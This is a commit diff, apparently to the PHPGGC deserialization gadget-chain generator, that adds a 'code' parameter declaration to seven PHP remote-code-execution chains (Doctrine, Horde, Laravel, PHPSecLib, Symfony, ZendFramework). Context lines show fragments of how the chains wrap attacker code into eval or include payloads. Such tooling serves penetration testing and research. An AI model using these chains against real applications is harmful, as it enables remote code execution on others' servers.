Fixed PHP Code Gadget Chains: Doctrine/RCE1 | Horde/RCE1 | Laravel/RCE5 | PHPSecLib/RCE1 | Symfony/RCE3 | ZendFramework/RCE1 | ZendFramework/RCE4

gadgetchains/Doctrine/RCE/1/chain.php

@@ -44,7 +44,11 @@ public function process_serialized($serialized)
         $replace_include = 'i:' . 2000 . ';';
         return preg_replace($find_include, $replace_include, $serialized2);
   	}
-
+
+    public static $parameters = [
+        'code'
+    ];
+
     public function generate(array $parameters)
     {
         $code = $parameters['code'];
@@ -76,4 +80,4 @@ public function generate(array $parameters)
         $obj = [1000 => $obj_write, 1001 => 1, 2000 => $obj_include, 2001 => 1];
         return $obj;
     }
-}
+}

gadgetchains/Horde/RCE/1/chain.php

@@ -13,6 +13,10 @@ class RCE1 extends \PHPGGC\GadgetChain\RCE\PHPCode
         See https://srcincite.io/blog/2020/08/19/a-smorgashorde-of-vulnerabilities-a-comparative-analysis-of-discovery.html
     ';
 
+    public static $parameters = [
+        'code'
+    ];
+
     public function generate(array $parameters)
     {
 	    $code = $parameters['code'] . ';die;';

gadgetchains/Laravel/RCE/5/chain.php

@@ -12,9 +12,13 @@ class RCE5 extends \PHPGGC\GadgetChain\RCE\PHPCode
         Requires Mockery, which is in the require-dev package. 
     ';
 
+    public static $parameters = [
+        'code'
+    ];
+
     public function generate(array $parameters)
     {
         $code = '<?php ' . $parameters['code'] . ' exit; ?>';
         return new \Illuminate\Broadcasting\PendingBroadcast($code);
     }
-}
+}

gadgetchains/PHPSecLib/RCE/1/chain.php

@@ -9,6 +9,10 @@ class RCE1 extends \PHPGGC\GadgetChain\RCE\PHPCode
     public static $author = 'crlf';
     public static $information = 'Generates warnings and notices.';
 
+    public static $parameters = [
+        'code'
+    ];
+
     public function generate(array $parameters)
     {
         $code = $parameters['code'];

gadgetchains/Symfony/RCE/3/chain.php

@@ -9,6 +9,10 @@ class RCE3 extends \PHPGGC\GadgetChain\RCE\PHPCode
     public static $author = 'crlf';
     public static $information = 'Executes through eval() ( <?php \'.$code.\';die(); ?> )';
 
+    public static $parameters = [
+        'code'
+    ];
+
     public function generate(array $parameters)
     {
         $code = $parameters['code'];

gadgetchains/ZendFramework/RCE/1/chain.php

@@ -14,6 +14,10 @@ class RCE1 extends \PHPGGC\GadgetChain\RCE\PHPCode
         - Payload gets executed twice
     ';
 
+    public static $parameters = [
+        'code'
+    ];
+
     public function generate(array $parameters)
     {
         $code = $parameters['code'];

gadgetchains/ZendFramework/RCE/4/chain.php

@@ -13,6 +13,10 @@ class RCE4 extends \PHPGGC\GadgetChain\RCE\PHPCode
         - Works on PHP >= 7.0.0
     ';
 
+    public static $parameters = [
+        'code'
+    ];
+
     public function generate(array $parameters)
     {
         return new \Zend_Log(
@@ -28,4 +32,4 @@ public function generate(array $parameters)
              )]
         );
     }
-}
+}